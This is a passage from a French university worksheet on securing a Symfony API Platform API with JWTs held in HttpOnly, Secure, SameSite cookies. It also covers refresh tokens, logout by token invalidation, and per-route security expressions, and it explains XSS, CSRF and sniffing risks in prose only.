SameSite=None: le cookie est envoyé quel que soit le site de départ (et l’attributSecureest alors obligatoire). Cette valeur réintroduit le risque CSRF ; elle ne sert que si le client est sur un site différent de l’API.
Pour comprendre la différence entre Strict et Lax, pensez à un site rendu côté serveur comme The Feed (TD1 à TD3), dont le cookie de session appartient à monsite.fr. Si Alice clique, depuis un mail, sur un lien vers https://monsite.fr/, le navigateur n’enverra pas un cookie Strict : la page s’affichera comme si elle était déconnectée. Avec Lax, le cookie est envoyé et la page s’affiche en mode “connecté”.
Scénario 3 : l’écoute du réseau (attribut Secure)
Alice utilise le wifi public d’une gare, et une de ses requêtes vers notre API part en http (non chiffré). Toute personne qui écoute le réseau peut alors lire le cookie et donc le JWT. Avec l’attribut Secure, le navigateur n’envoie le cookie que sur des connexions chiffrées (https).
Et si nos cookies sont mal paramétrés ?
Chaque attribut ferme une porte précise. En oublier un rouvre le scénario correspondant :
- sans
HttpOnly: un script injecté surhttps://monsite.frpeut lire le cookie avecdocument.cookie(scénario 1, comme avec lelocalStorage) ; - avec
SameSite=None: une page dehttps://site-malveillant.compeut agir au nom d’Alice (scénario 2) ; - sans
Secure: leJWTpeut être intercepté sur le réseau (scénario 3).
Ce qui reste : une faille XSS est toujours dangereuse
Même avec un cookie HttpOnly, Secure et SameSite=Lax, revenons au scénario 1. Le script de Mallory s’exécute sur https://monsite.fr : ses requêtes vers https://monsite.fr/api sont donc des requêtes du même site, et le navigateur y joint le cookie. SameSite ne protège pas contre une faille XSS, puisque le script attaquant s’exécute sur notre site.
Mallory ne peut plus voler le JWT, mais son script peut encore agir au nom d’Alice pendant qu’elle consulte la page. On passe d’un token volé, réutilisable depuis n’importe où jusqu’à son expiration, à une attaque limitée à la visite de la page. On ne règle donc que la moitié du problème : c’est au développeur du client de ne pas introduire de faille XSS (en laissant le moteur de templates échapper les données, comme le fait {{ ... }} en Twig).
Récapitulatif
| Scénario | Où s’exécute le code de l’attaquant ? | JWT dans le localStorage |
Cookie HttpOnly, Secure, SameSite=Lax |
|---|---|---|---|
| 1. XSS | Sur notre site https://monsite.fr |
Token volé | Token protégé, mais actions possibles pendant la visite |
| 2. CSRF | Sur un site externe https://site-malveillant.com |
Aucun risque (le token n’est pas envoyé automatiquement) | Bloqué par SameSite |
| 3. Écoute réseau | Nulle part (attaquant passif) | Intercepté si la requête part en http | Bloqué par Secure |
Tout cela semble compliqué et fastidieux à configurer ! Mais pas de panique, un simple paramétrage du bundle LexikJWTAuthenticationBundle permet de générer et placer un cookie Secure, HttpOnly avec l’attribut SameSite=Lax dans la réponse de la requête d’authentification. Par défaut, le token sera alors supprimé du corps (JSON) de la réponse.
Pour cela, il faut modifier le fichier config/packages/lexik_jwt_authentication.yaml en ajoutant les sections suivantes :
#config/packages/lexik_jwt_authentication.yaml
lexik_jwt_authentication:
...
# Création automatique du cookie contenant le JWT
set_cookies:
BEARER:
# Valeurs par défaut, écrites ici pour les rendre visibles
secure: true
httpOnly: true
samesite: lax
# Pour que l'application recherche le JWT dans les cookies
token_extractors:
cookie:
enabled: true
#Nom du cookie
name: BEARER
Naturellement, le cookie stockant le token a la même date d’expiration que le JWT.
-
Modifiez le fichier
config/packages/lexik_jwt_authentication.yamlafin de changer la gestion duJWTdans la réponse de la requête d’authentification. -
Sur
Postman, identifiez-vous de nouveau. Cette fois, le corps de la réponse devrait être vide. Cliquez sur le bouton Cookies (sous le bouton Send). Vous devriez observer leJWTstocké sous le nom deBEARER. -
Dans l’onglet Headers de la réponse, observez l’en-tête
Set-Cookieet retrouvez les attributs du cookieBEARER. Pour chacun d’eux, indiquez quel scénario d’attaque (1, 2 ou 3) il empêche ou limite.
Ajouter des informations à la réponse après une connexion
Lorsqu’on se connecte, l’application cliente aimerait potentiellement connaître certaines informations :
-
Notre login/identifiant, pour l’afficher sur l’interface, ou afficher une page type “mon profil”.
-
La date d’expiration du token, pour pouvoir mettre en place le rafraîchissement (section bonus du TD) et/ou déconnecter automatiquement l’utilisateur.
Comme nous n’envoyons plus le JWT dans le corps de la réponse, l’application cliente n’a donc plus accès à ces informations (qu’elle aurait pu obtenir en décodant le JWT). On peut alors envisager plusieurs solutions :
-
Avoir une route dédiée qui donne les informations de l’utilisateur courant. L’idée est que le serveur décode les informations contenues dans le JWT et les renvoie en réponse. Ensuite, le client peut stocker ces informations dans des variables temporaires et utiliser la route en question à chaque rechargement. C’est tout à fait faisable à l’aide d’un state provider (qui renverrait l’utilisateur ayant effectué la requête), attaché à une opération
GETsurUtilisateur(et une route du genre/utilisateurs/self/me, par exemple). -
Directement renvoyer les informations utiles lors de la connexion et les stocker dans le
localStorage. Il n’y a pas de problème ici, car on ne stocke ni informations sensibles, ni leJWT. Même en cas de failleXSS, les données récupérées ne seront pas intéressantes et exploitables.
Nous allons donc choisir la deuxième option et faire en sorte d’ajouter des informations concernant l’utilisateur dans le corps de la réponse. On aimerait ajouter son identifiant, son login, son adresse email, son statut premium et la date d’expiration du JWT. Pour cela, on peut créer une classe qui permettra de détecter l’événement d’authentification et d’ajouter des informations dans le corps de la réponse.
Voici cette classe :
namespace App\EventListener;
use App\Entity\Utilisateur;
use Lexik\Bundle\JWTAuthenticationBundle\Services\JWTTokenManagerInterface;
use Lexik\Bundle\JWTAuthenticationBundle\Event\AuthenticationSuccessEvent;
use Symfony\Component\EventDispatcher\Attribute\AsEventListener;
class AuthenticationSuccessListener
{
public function __construct(
//Service permettant de décoder un JWT (entre autres)
private JWTTokenManagerInterface $jwtManager
)
{}
//On doit indiquer le nom de l'événement qu'on souhaite écouter (car il provient d'un bundle et n'est pas natif à Symfony)
#[AsEventListener('lexik_jwt_authentication.on_authentication_success')]
public function onAuthenticationSuccessResponse(AuthenticationSuccessEvent $event)
{
/** @var Utilisateur $user */
$user = $event->getUser();
$data = $event->getData();
//Insertion de données de l'utilisateur ici - À compléter
$data['attribut'] = $user->getXXX();
//Récupération des données contenues dans le JWT - À compléter
//On décode le jwt qui est déjà encodé, à ce stade, afin de récupérer les informations qui nous intéressent.
$jwt = $this->jwtManager->parse($data['token']);
$data['token_exp'] = $jwt['???'];
$event->setData($data);
}
}
Le but de la méthode onAuthenticationSuccessResponse est de capter l’événement déclenché quand l’utilisateur s’est correctement authentifié (bon login/mot de passe). L’événement $event nous permet d’utiliser diverses méthodes :
-
getData: renvoie le tableau clé-valeur associatif qui sera converti en objetJSONdans le corps de la réponse. Il est donc possible d’y insérer des données comme dans un tableau associatif classique, en associant la donnée à un nom (une clé). -
getUser: renvoie l’objetUtilisateurcorrespondant au token. Il est donc possible de récupérer certaines valeurs de ses propriétés et de l’insérer dansdata. -
setDatapermet de réaffecter le contenu du corps de la réponse.
-
Créez un dossier
EventListenerdanssrcet ajoutez la classeAuthenticationSuccessListenertelle que définie ci-dessus puis complétez-la afin d’enregistrer l’identifiant, le login, l’adresse email et le statut premium de l’utilisateur ainsi que la date d’expiration duJWTdans la réponse de la requête. -
Videz le cache puis tentez de vous authentifier de nouveau. Vous devriez observer les nouvelles informations dans le corps de la réponse.
Token de rafraîchissement
Plus tôt, nous avions évoqué le système de rafraîchissement pour renforcer la sécurité. La logique est la suivante :
-
Les JWT émis par l’application suite à l’authentification ont une faible durée de vie (3600 secondes par défaut). Comme ce
JWTd’authentification est transmis dans beaucoup de requêtes, il est préférable qu’il ne soit valide que peu de temps : on limite ainsi les risques en cas de vol. Mais, en l’état, ce n’est pas très pratique : l’utilisateur serait déconnecté de force dès l’expiration du token et devrait se reconnecter toutes les heures. -
Pour éviter cela, lors de l’authentification, on transmet aussi un token de rafraîchissement. Ce token a une durée de vie bien plus longue (par exemple, un mois). Dès que l’application cliente détecte que le JWT a expiré (ou bien à chaque ouverture de l’application), elle appelle une route spéciale de rafraîchissement en lui transmettant ce token, et obtient en retour un nouveau JWT. À cette occasion, soit la durée de vie du token de rafraîchissement est réinitialisée, soit un nouveau token de rafraîchissement est émis (plus sécurisé).
Ainsi, si un client n’est pas actif pendant une semaine, son JWT d’authentification aura expiré, mais il ne sera pas “déconnecté” pour autant : à son retour sur l’application, son JWT sera renouvelé grâce au token de rafraîchissement. En revanche, après une trop longue période d’inactivité (plusieurs mois), l’utilisateur sera naturellement “déconnecté”, car son token de rafraîchissement aura lui aussi expiré.
Du fait de leur longue durée de vie, les tokens de rafraîchissement sont stockés dans la base de données. Si un compte est compromis, il suffit de supprimer ses tokens de rafraîchissement de la base. On peut aussi permettre à un utilisateur de supprimer certains des tokens de rafraîchissement liés à son compte afin de se “déconnecter” d’appareils spécifiques.
La sécurisation de ce token est primordiale, car il permet d’obtenir de nouveaux JWT de manière illimitée pendant toute sa durée de vie. Dans un fonctionnement basique, le client stocke ce token et l’envoie dans le payload des routes qui en ont besoin (rafraîchissement, invalidation…), en plus du JWT d’authentification (dans l’en-tête Authorization ou dans un cookie…). Mais comme nous l’avons vu, ce stockage côté client est vulnérable aux attaques XSS, et c’est ici encore plus dangereux : quiconque récupère le token de rafraîchissement peut générer autant de tokens d’authentification qu’il le souhaite !
Comme pour le JWT d’authentification, il est donc plus judicieux de stocker le token de rafraîchissement dans un cookie sécurisé plutôt que de le renvoyer dans le corps de la réponse. Il n’est alors plus nécessaire de l’inclure dans le payload des requêtes : l’API ira l’extraire du cookie. De plus, ce token n’a pas besoin d’être envoyé à chaque requête authentifiée. On exploitera donc l’attribut Path du cookie, qui spécifie le chemin que doit contenir l’URL ciblée pour que le cookie soit envoyé : ainsi, ce cookie ne sera transmis qu’aux routes permettant de rafraîchir ou d’invalider le token.
Pour mettre en place tout cela, nous allons nous servir du bundle JWTRefreshTokenBundle. La configuration est assez simple.
-
Tout d’abord, le bundle va automatiquement créer l’entité suivante, qui correspond à l’entité gérant les tokens de rafraîchissement (car ils sont stockés dans notre BDD) :
namespace App\Entity; use Doctrine\ORM\Mapping as ORM; use Gesdinet\JWTRefreshTokenBundle\Entity\RefreshToken as BaseRefreshToken; #[ORM\Entity] #[ORM\Table(name: 'refresh_tokens')] class RefreshToken extends BaseRefreshToken { //Pas besoin de propriété(s) particulière(s), elles sont héritées. //On pourra éventuellement ajouter des propriétés dans le futur... } -
Il va ensuite (automatiquement, encore une fois) mettre en place la route liée au rafraîchissement, dans le fichier
config/routes/gesdinet_jwt_refresh_token.yaml. Par contre, on doit compléter cette route si on veut la limiter au verbePOST, par exemple :# Dans config/routes/gesdinet_jwt_refresh_token.yaml # Route pour rafraîchir notre JWT (on limite en POST) gesdinet_jwt_refresh_token: path: /api/token/refresh methods: ['POST'] -
Après, on édite le fichier
security.yamlafin de paramétrer notre système de rafraîchissement et notre nouvelle route :# Dans config/packages/security.yaml security: ... firewalls: ... main: ... entry_point: jwt refresh_jwt: check_path: /api/token/refresh ... -
Enfin, dans
config/packages, on édite le fichiergesdinet_jwt_refresh_token.yamlpour configurer le bundle et indiquer quelle classe correspond au token de rafraîchissement et d’autres paramètres :# Dans config/packages/gesdinet_jwt_refresh_token.yaml gesdinet_jwt_refresh_token: # Permet d'ajouter de la documentation vis-à-vis des routes gérées par le bundle sur la page de documentation de l'api. api_platform: enabled: true # Classe représentant le token de rafraîchissement (option déjà paramétrée, par défaut) refresh_token_class: App\Entity\RefreshToken # Pour que le token soit invalidé et supprimé après rafraîchissement, et qu'un nouveau soit fourni single_use: true # Cette option permet de hacher les tokens en base (un peu comme les mots de passe). Ainsi, en cas de fuite de la base de données, les tokens ne seront pas compromis et ne pourront pas être utilisés pour obtenir des JWT d'authentification en usurpant l'identité d'un utilisateur. hash_tokens: enabled: true # Cette option permet de limiter le nombre de tokens de rafraîchissement actifs pour un utilisateur. Par exemple, pour limiter le nombre d'appareils depuis lesquels il effectue une connexion. Si l'utilisateur tente de se connecter alors qu'il a déjà atteint la limite, la session qui n'a pas été rafraîchie depuis le plus longtemps est révoquée. Par défaut, si cette option n'est pas activée, le nombre de tokens est illimité (ce qui peut être souhaitable dans certains contextes, mais dans ce cas il faut combiner cela avec un système de rate limiting pour éviter qu'un utilisateur malveillant crée des tokens en boucle). max_tokens_per_user: 5 # Cette option permet de stocker le token de rafraîchissement dans un cookie (sécurisé, comme pour le JWT) au lieu de le renvoyer dans le corps de la réponse. cookie: enabled: true #Afin que le token ne soit envoyé que sur les sous-routes /the_feed_api/public/api/token... path: /the_feed_api/public/api/token
Maintenant, quand vous vous authentifierez avec la route /api/auth, vous obtiendrez votre token (JWT) habituel ainsi qu’un token refresh_token. Celui-ci sera notamment utilisé lors de l’accès à la route suivante :
/api/token/refresh(en POST) : rafraîchit votre JWT et invalide (puis supprime) le token de rafraîchissement avant de vous en fournir un nouveau.
On a aussi accès à cette commande qui permet de supprimer tous les tokens de rafraîchissement ayant expiré :
php bin/console gesdinet:jwt:clear
Maintenant, à vous de jouer !
-
Installez le bundle
JWTRefreshTokenBundle:composer require gesdinet/jwt-refresh-token-bundleQuand on vous pose la question relative à l’utilisation d’une
reciperépondez yes. Le mécanisme desrecipespermet de configurer automatiquement certains aspects de l’application quand on ajoute une nouvelle librairie, un bundle… Par exemple, en créant de nouveaux fichiers ou en complétant certains fichiers de configuration. Cela est défini par le développeur du module installé. - Complétez les différents fichiers de configurations :
config/routes/gesdinet_jwt_refresh_token.yaml(pour limiter la route de rafraîchissement àPOST),config/packages/security.yaml(pour paramétrer l’utilisation du système de rafraîchissement),config/packages/gesdinet_jwt_refresh_token.yaml(pour activer l’optionsingle_useet utiliser les cookies).
-
Videz le cache.
-
Mettez à jour la structure de votre base de données en utilisant les commandes adéquates.
-
Testez votre nouveau système :
-
Authentifiez-vous et vérifiez que vous obtenez bien un
refresh_tokendans vos cookies en plus de votre token habituel. -
Testez la route permettant de rafraîchir votre JWT. Dans vos cookies, vous pourrez alors constater que le cookie
BEARERcontenant leJWTd’authentification est mis à jour. -
Vous pouvez aussi observer la table gérant les tokens de rafraîchissement dans votre base de données.
-
Nous pourrions aussi inclure (lors de l’authentification ou du rafraîchissement) des informations sur le token de rafraîchissement (notamment, sa date d’expiration). Cependant, dans l’absolu, le client n’en a pas vraiment besoin. S’il essaye de rafraîchir le JWT alors que le token de rafraîchissement a expiré, le serveur renverra une erreur 401 (Unauthorized) et le client sera alors au courant que le token a expiré. À l’inverse, pour le JWT d’authentification, il semble utile que le client connaisse la date d’expiration afin d’utiliser le token de rafraîchissement au moment opportun.
Si toutefois on a vraiment besoin de donner certaines informations du JWT au client (dans le corps de la réponse JSON), on peut alors adapter la classe AuthenticationSuccessListener pour ajouter ces informations dans $data.
Suppression du cookie et invalidation du token (déconnexion)
Nous avons mis en place un système d’authentification grâce aux JWT et nous pouvons maintenant “connecter” un utilisateur en utilisant la route /api/auth et également obtenir un token de rafraîchissement permettant de renouveler notre JWT grâce à la route /api/token/refresh. Cependant, il reste un problème à régler : comment “déconnecte”-t-on un utilisateur quand on utilise ces tokens ?
Ici, le terme de “déconnexion” (comme le terme de “connexion”) est un abus de langage. On ne connecte pas vraiment l’utilisateur : on lui délivre des tokens qui lui permettront de s’authentifier à chaque requête. Il n’y a pas de système de session qui débute ou est terminée comme dans un site web classique. La question est donc de savoir comment faire pour que l’utilisateur puisse décider d’invalider son JWT d’authentification et son token de rafraîchissement avant la durée d’expiration prévue et aussi comment faire en sorte que le client (navigateur ou autre) n’utilise plus ces tokens invalides.
On a donc deux étapes à gérer : l’invalidation des tokens (pour qu’ils deviennent inutilisables) et la suppression de ces derniers côté client, dans l’espace dans lequel ils sont stockés.
Pour la première étape :
-
Concernant le JWT d’authentification, on peut utiliser un système de liste de blocage gérée en mémoire grâce au bundle
LexikJWTAuthenticationBundle. Quand on décide d’invalider le JWT, il est alors répertorié dans un cache. Le token est supprimé de la liste quand il arrive à expiration. Ainsi, même si une requête est envoyée avec unJWTvalide (signature correcte, non expiré), s’il est présent dans la liste de blocage, la requête échouera. Cela renforce également la sécurité globale de l’application : si leJWTest volé, si l’utilisateur décide de l’invalider (en se “déconnectant”) alors le voleur ne pourra plus utiliser ce token.Les données mises en cache n’ont généralement pas pour vocation d’être gardées pendant une longue durée (plusieurs jours, plusieurs mois, etc.). C’est parfait, car nos
JWTont une durée de vie courte ! (généralement une heure). Ces tokens seront automatiquement détruits (et donc retirés de la liste de blocage) lors de leur expiration. -
Concernant le token de rafraîchissement, un système d’invalidation est prévu par le bundle
JWTRefreshTokenBundle. On n’utilise donc pas de liste de blocage avec cache (comme pour les JWT d’authentification) : le système d’invalidation et de blocage est directement géré grâce aux données stockées dans la base. Les tokens de rafraîchissement seront automatiquement détruits et retirés de la base de données lors de l’invalidation.On a aussi accès à cette commande qui permet de révoquer un token précis (par exemple, si le compte de l’utilisateur est compromis) :
php bin/console gesdinet:jwt:revoke TOKEN
Dans tous les cas, il faut que la demande d’invalidation du token soit faite par le client auprès du serveur, via une route, par exemple.
Pour la deuxième étape, cela dépend de la façon dont sont envoyés les tokens au client, et comment ils sont stockés :
-
S’ils sont envoyés dans le corps de la réponse d’authentification et stockés par le client (dans le
localStoragepar exemple), alors, quand l’utilisateur doit se déconnecter, après avoir demandé au serveur d’invalider les tokens, il suffit au code client de les supprimer de là où ils sont stockés. Nous avions vu que cette approche était plutôt déconseillée. -
S’ils sont stockés dans des cookies httpOnly alors le code client (du moins, le JavaScript dans un navigateur) n’y a pas accès ! Le serveur doit demander explicitement au client (navigateur) de supprimer les cookies contenant le JWT d’authentification et le token de rafraîchissement (en utilisant des en-têtes de réponse
Set-Cookieavec une date d’expiration passée).
Nous sommes donc dans le second cas. La demande de suppression des cookies pourra être regroupée avec la route permettant d’invalider nos tokens. Ce sera en quelque sorte notre “route de déconnexion”.
L’objectif est donc de mettre en place une route /api/token/invalidate qui permettra de bloquer l’utilisation du JWT d’authentification et du token de rafraîchissement et permettra au serveur par la même occasion de demander la suppression des cookies contenant les tokens au client.
Voici les étapes pour mettre en place cette route :
-
Tout d’abord, on déclare la route dans le fichier
config/routes/gesdinet_jwt_refresh_token.yaml:# Dans config/routes/gesdinet_jwt_refresh_token.yaml gesdinet_jwt_invalidate_token: path: /api/token/invalidate methods: ['POST']On n’utilise pas de contrôleur, car le code gérant le blocage du
JWT(et la suppression du cookie correspondant) est automatiquement géré par Symfony (et les bundlesLexikJWTAuthenticationBundleetJWTRefreshTokenBundlequi gèrent les différents tokens). -
On édite ensuite le fichier
config/packages/lexik_jwt_authentication.yamlafin d’activer la liste de blocage desJWT:# Dans config/packages/lexik_jwt_authentication.yaml lexik_jwt_authentication: ... blocklist_token: enabled: true cache: cache.appCette liste sera utilisée pour vérifier le JWT d’authentification lors de chaque requête nécessitant d’être authentifié et sera mise à jour dès qu’on provoquera une déconnexion au niveau de Symfony.
-
Enfin, on édite le fichier
config/packages/security.yamlafin d’indiquer à Symfony quelle est la route utilisée pour se déconnecter. On indique alors aussi de faire une demande de suppression du cookieBEARER(qui contient le JWT d’authentification) dès que la déconnexion se produit :# Dans config/packages/security.yaml security: ... firewalls: ... main: ... logout: path: /api/token/invalidate delete_cookies: ['BEARER']Concernant le cookie contenant le token de rafraîchissement (
refresh_token), il n’y a pas besoin de le préciser. Le bundle correspondant le supprimera automatiquement lors de la déconnexion.
Avec tout cela, le système de déconnexion est complet !
-
Ajoutez temporairement le paramètre
security: "is_granted('ROLE_USER')"à l’opération#[GetCollection]de la ressourceUtilisateur. Cela permet de dire que seuls les utilisateurs avec la permissionROLE_USER(donc, tous les utilisateurs connectés) peuvent accéder à la route. Nous reviendrons sur ce paramètre lors de la prochaine section. -
Éditez les trois fichiers nécessaires pour mettre en place le système de déconnexion (ou plutôt, invalidation des tokens et suppression des cookies).
-
En utilisant
Postman, authentifiez-vous (avec la route/api/auth) et vérifiez que vous possédez bien les cookiesBEARERetrefresh_tokendans le menu Cookies (accessible sous le bouton Send). Allez voir le token de rafraîchissement dans la base de données. Tentez d’accéder à la liste des utilisateurs (GETsur/api/utilisateurs), cela devrait fonctionner. -
Retirez temporairement la ligne
delete_cookies: ['BEARER']du fichierconfig/packages/security.yamlpuis “déconnectez-vous” en utilisant la route/api/token/invalidate(avec la méthodePOST). Vérifiez que vous possédez toujours le cookieBEARER(et donc votre JWT d’authentification) mais plus lerefresh_token. Tentez de nouveau d’accéder à la liste des utilisateurs. L’action devrait vous être refusée (car le JWT d’authentification a été bloqué). -
Vérifiez que le token de rafraîchissement a aussi bien disparu de la table dédiée dans la base de données.
-
Restaurez la ligne
delete_cookies: ['BEARER']dans le fichierconfig/packages/security.yaml. -
Supprimez à la main le cookie
BEARERsur Postman. Authentifiez-vous de nouveau et observez le retour du cookie. -
Enfin, “déconnectez-vous” en utilisant la route
/api/token/invalidate. Cette fois, tous les cookies devraient avoir disparu ! -
Supprimez le paramètre
securityposé plus tôt sur l’opération#[GetCollection]de la ressourceUtilisateur.
Tokens dans le corps de la réponse ou dans des cookies sécurisés
Nous venons de voir que, dans notre cas, utiliser un cookie sécurisé pour transporter les différents JWTs permettant à l’utilisateur de s’authentifier ou de rafraîchir son token semble être plus raisonnable. Cependant, cette solution n’est pas toujours adaptée. En fait, cela dépend des clients qui vont consommer votre API, en fonction de leur nature (navigateur, application mobile, etc.) et de leur nombre.
Même si le fait d’utiliser un cookie présente de nombreux avantages au niveau de la sécurité, il peut poser des problèmes de gestion en fonction des clients qui souhaitent l’utiliser :
-
Concernant les navigateurs web, les cookies ne peuvent pas être envoyés par des clients dont le nom de domaine de l’adresse web se trouve en dehors du nom de domaine de l’adresse web de l’API. Par exemple, si mon API se trouve sur
www.exemple.com/apiet mon client surwww.exemple.com/client, dans les deux cas, le nom de domaine estexemple.com. Si on envoie une requête de connexion depuiswww.exemple.com/client, le cookie écrit par l’API sera lié au nom de domaineexemple.comet sera bien envoyé à chaque requête nécessitant une authentification émise parwww.exemple.com/client. De plus, on peut faire en sorte que le cookie fonctionne aussi dans les sous-domaines deexemple.comen configurant l’attributDOMAINdu cookie (pour qu’il fonctionne surapp.exemple.com, par exemple…). Cependant, si une requête de connexion est émise depuis le sitecoucou.comle cookie créé sera toujours lié àexemple.com(car c’est là que se trouve l’API) et il ne sera jamais envoyé lors des requêtes émises depuiscoucou.com. Bref, si l’API doit être utilisée par plusieurs sites externes qui ne sont pas sur le même nom de domaine qu’elle, ça ne sera pas possible avec notre configuration. C’est justement l’attributSameSite=Laxqui bloque l’envoi du cookie depuiscoucou.com, comme il le bloque depuissite-malveillant.comdans le scénario CSRF. On pourrait passer àSameSite=None, mais cela réintroduirait le risque CSRF, et les navigateurs bloquent de plus en plus ces cookies dits “tiers”. -
La gestion des cookies est essentiellement un mécanisme des clients de type navigateur web, et n’est pas forcément gérée naturellement par les autres types de clients, comme les applications mobiles par exemple. Cependant, il existe des librairies pour gérer cela dans la plupart des cas. Et sinon, il suffit juste d’extraire les données de la réponse. De plus, ici, les paramètres
HttpOnly,SameSiteetSecuren’ont pas vraiment d’importance, car ce sont des mécanismes liés au navigateur web. Une application mobile peut donc extraire les données des cookies envoyés par le serveur, les stocker et les envoyer au besoin à sa guise. De même, sur une application mobile, on ne retrouve pas les problèmes des failles XSS et CSRF (mais il peut y en avoir d’autres !). Bref, en dehors des navigateurs, la gestion des cookies n’est pas vraiment naturelle (mais pas impossible). On peut donc se dire que dans ce contexte, garder les tokens dans le corps de la réponse peut éventuellement être une meilleure solution (en tout cas, plus facile).
Bref, le choix de la méthode à privilégier dépend du contexte de votre projet :
-
Si l’API et le client sont sur le même nom de domaine (ou sous-domaines) et que l’on souhaite éventuellement l’utiliser avec un client mobile (ou autre) et qu’il n’y a pas d’autres clients web situés sur un autre nom de domaine, il vaut mieux privilégier l’option cookie qui présente moins de risques de sécurité (même si un peu plus dur à gérer sur un client qui n’est pas un navigateur, comme une application mobile ou autre).
-
Si l’API n’est pas sur le même nom de domaine que le client (et que plusieurs clients web et éventuellement autres doivent utiliser l’API) : il faut plutôt choisir de renvoyer les tokens dans le corps de la réponse, les stocker, et, pour les sites web qui utilisent l’API, faire particulièrement attention à sécuriser le site contre les attaques
XSS. -
On pourrait aussi éventuellement envisager d’avoir les deux options en même temps : lors de l’authentification, des cookies sont créés et les
JWTssont renvoyés dans le corps de la réponse. Comme ça, on s’adapte en fonction du client. Les différents composants que nous venons de voir proposent de faire cela en activant une option pour conserver leJWTdans le corps de la réponse, même si les cookies sont utilisés :
# config/packages/lexik_jwt_authentication.yaml
lexik_jwt_authentication:
...
remove_token_from_body_when_cookies_used: false
# config/packages/gesdinet_jwt_refresh_token.yaml
gesdinet_jwt_refresh_token:
...
cookie:
...
remove_token_from_body: false
Dans notre cas, il n’y aura (bientôt) qu’un client web sur le même nom de domaine que notre API, donc l’option cookie convient parfaitement. Cependant, nous avons vu que dans tous les cas, une attaque XSS (pour une application sur un navigateur web) reste un danger (même si les conséquences sont potentiellement un peu moins grandes avec les cookies). C’est donc au client qui consomme l’API de s’assurer que ce genre de faille ne puisse pas être exploitée.
Sécurité
Maintenant que nous pouvons nous authentifier, nous pouvons sécuriser l’accès à nos routes ! Nous allons donc voir comment :
-
Autoriser l’accès à certaines routes seulement aux utilisateurs authentifiés.
-
Vérifier que l’utilisateur qui modifie/supprime une ressource en est bien le propriétaire.
-
Affecter automatiquement l’utilisateur effectuant la requête comme auteur d’une publication.
Sécurisation de l’accès aux routes
On peut limiter l’accès à une méthode sur une ressource donnée en utilisant le paramètre security au niveau de l’opération en question, qui permet de vérifier les droits avant le traitement de la requête. On peut alors spécifier du code pour vérifier le droit d’accès à la route, en utilisant notamment la fonction is_granted pour vérifier que l’utilisateur possède un certain rôle (ou une permission, si on utilise les voters).
Par exemple :
#[Post(security: "is_granted('ROLE_USER')")]
#[Delete(security: "is_granted('ROLE_ADMIN')")]
Ici, la route utilisant la méthode POST sur cette ressource est uniquement accessible aux utilisateurs avec le rôle ROLE_USER (donc, tous les utilisateurs authentifiés). La méthode DELETE, par contre, n’est accessible qu’aux utilisateurs ayant le rôle ROLE_ADMIN.
On a aussi accès à certaines variables dans l’expression du paramètre security :
-
user: représente l’instance de l’utilisateur connecté. -
object: représente l’instance de la ressource en cours d’accès ou de modification (on a donc accès à ses méthodes).
Si l’objet ciblé a un lien avec l’utilisateur, il est alors possible de comparer un attribut de l’objet avec l’utilisateur, par exemple.
#[Post(security: "is_granted('ROLE_USER') and user.age > 13")]
#[Delete(security: "is_granted('ROLE_USER') and object.getOwner() == user")]
#[Get(security: "!object.isPrivate() or (is_granted('ROLE_USER') and object.getOwner() == user) or is_granted('ROLE_ADMIN')")]
Dans cet exemple :
-
L’utilisateur peut créer un objet avec
POSTs’il est connecté et a plus de 13 ans. -
L’utilisateur peut supprimer l’objet s’il est connecté et qu’il en est le propriétaire
-
L’utilisateur ne peut consulter l’objet que si celui-ci n’est pas privé, ou s’il en est le propriétaire, ou s’il est admin.
-
Faites en sorte que seuls les utilisateurs authentifiés puissent créer des publications.
-
Faites en sorte que seul l’auteur d’une publication puisse la supprimer (en plus de devoir être authentifié).
-
Faites en sorte que seul l’utilisateur concerné puisse modifier ou supprimer son compte (en plus de devoir être authentifié).
-
Videz le cache.
-
Sur
Postman, supprimez le cookieBEARERcontenant leJWTsi celui-ci est toujours présent (boutonCookiespuis la croix à côté du cookie, pour le supprimer). -
Tentez d’accéder à une des routes sécurisées. Vous obtenez normalement un message d’erreur.
-
Authentifiez-vous de nouveau (afin d’obtenir de nouveau le cookie contenant le
JWT) puis réessayez de soumettre la requête de création d’une publication. Cela devrait fonctionner ! -
Essayez de supprimer une publication qui ne vous appartient pas et un compte qui ne vous appartient pas (cela ne doit pas fonctionner). Et vérifiez qu’à l’inverse, vous pouvez effectivement supprimer vos propres publications (celles du compte auquel vous êtes connecté), et que vous pouvez aussi modifier vos propres informations…
Le paramètre security n’est pas le seul moyen de contrôler les droits sur une opération :
-
L’attribut
securityPostDenormalizeactive la vérification après le traitement des données envoyées par la requête (après l’étape de dénormalisation), ce qui est notamment utile dans le cas d’opérations d’écriture. On a alors accès à deux variables supplémentaires :object, qui désigne cette fois la ressource elle-même pour une opérationPOST(puisqu’elle vient d’être construite à partir du payload, contrairement àsecurityqui est évalué trop tôt pour y avoir accès), etprevious_object, qui représente l’instance de la ressource avant modification (dans le cas d’une opérationPUTouPATCH, par exemple). -
securityPostValidationpermet quant à lui d’appliquer des vérifications une fois la phase de validation (avec les contraintes placées sur les propriétés) terminée. -
La variable
request, qui contient les données de la requête, est également accessible dans ces trois paramètres.
Reprenons notre exemple précédent en lui ajoutant une règle de mise à jour :
#[Patch(security: "is_granted('ROLE_ADMIN')", securityPostDenormalize: "previous_object.getOwner() == user and (object.getOwner() == user or !object.isPrivate())")]
Dans cet exemple, l’utilisateur peut mettre à jour l’objet seulement s’il est admin, et il devait être propriétaire de l’objet avant modification (mais il a éventuellement pu effectuer un changement de propriétaire). Cependant, le changement de propriétaire n’est possible que si l’objet n’est pas privé.
Le paramètre securityMessage permet de customiser le message d’erreur lié au paramètre security et securityPostDenormalizeMessage celui relatif au paramètre securityPostDenormalize.
#[Delete(security: "is_granted('ROLE_USER') and object.getOwner() == user", securityMessage: "...")]
Il est aussi possible d’appliquer la règle de sécurité sur #[ApiResource] si l’on souhaite que la règle s’applique par défaut à toutes les opérations.
Il est aussi possible d’utiliser les paramètres security et securityPostDenormalize dans un attribut #[ApiProperty] au niveau de chaque propriété de l’entité afin de contrôler les droits de lecture et d’écriture par propriété :
#[ApiResource]
#[Get]
#[GetCollection]
#[Post(security: "is_granted('ROLE_JOURNALISTE')")]
#[Patch(security: "is_granted('ROLE_ADMIN') or (is_granted('ROLE_USER') and object.getOwner() == user)")]
class Article {
#[ORM\Id]
#[ORM\GeneratedValue]
#[ORM\Column]
private ?int $id = null;
#[ORM\Column(length: 255)]
private ?string $titre = null;
#[ORM\Column(type: Types::TEXT)]
#[ApiProperty(security: "is_granted('ROLE_USER')")]
private ?string $contenu = null;
#[ORM\Column]
